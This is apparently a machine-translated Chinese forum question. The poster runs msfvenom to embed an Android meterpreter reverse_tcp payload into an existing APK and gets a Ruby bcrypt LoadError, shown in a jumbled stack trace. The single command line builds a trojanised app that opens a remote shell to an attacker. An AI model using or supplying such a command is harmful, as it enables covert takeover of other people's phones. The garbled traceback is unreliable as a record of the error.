我在输入命令时遇到了这个问题
msfvenom -x "file.apk" -p android/meterpreter/reverse_tcp LHOST ="" LPORT ="" -o "newfile.apk""
有人知道吗?
我收到以下错误:
回溯(最近一次调用最后一次):21:来自 /usr/local/bin/msfvenom:441:in
<main>' 20: from /usr/local/bin/msfvenom:55:in
framework' 19:来自 /usr/local/bin/msfvenom:36:ininit_framework' 18: from /usr/local/bin/msfvenom:18:in
require_deps' 17:来自 /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:inrequire' 16: from /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in
require' 15:来自 /opt/metasploit-framework/lib/msfenv.rb:18:in require<top (required)>' 14: from /opt/metasploit-framework/lib/msfenv.rb:18:in
' 13:来自 /opt/metasploit-framework/config/environment.rb:2:in<top (required)>' 12: from /opt/metasploit-framework/config/environment.rb:2:in
require' 11:来自 /opt/metasploit-framework/config/application.rb:10:in<top (required)>' 10: from /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler.rb:114:in
require' 9:来自/home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:65:inrequire' 8: from /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:65:in
each' 7: 来自 /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:72:inblock in require' 6: from /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:95:in
rescue in block in require' 5: 来自 /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:95:inrequire' 4: from /opt/metasploit-framework/lib/metasploit/framework.rb:9:in
' 3: 来自 /opt/metasploit-framework/lib/metasploit/framework.rb:9:in ' 1: 来自/home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt.rb:16:in require': 不兼容的库版本 - /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt_ext.so (LoadError)require'
2: from /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt.rb:12:inrescue in <top (required)>' /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt.rb:16:in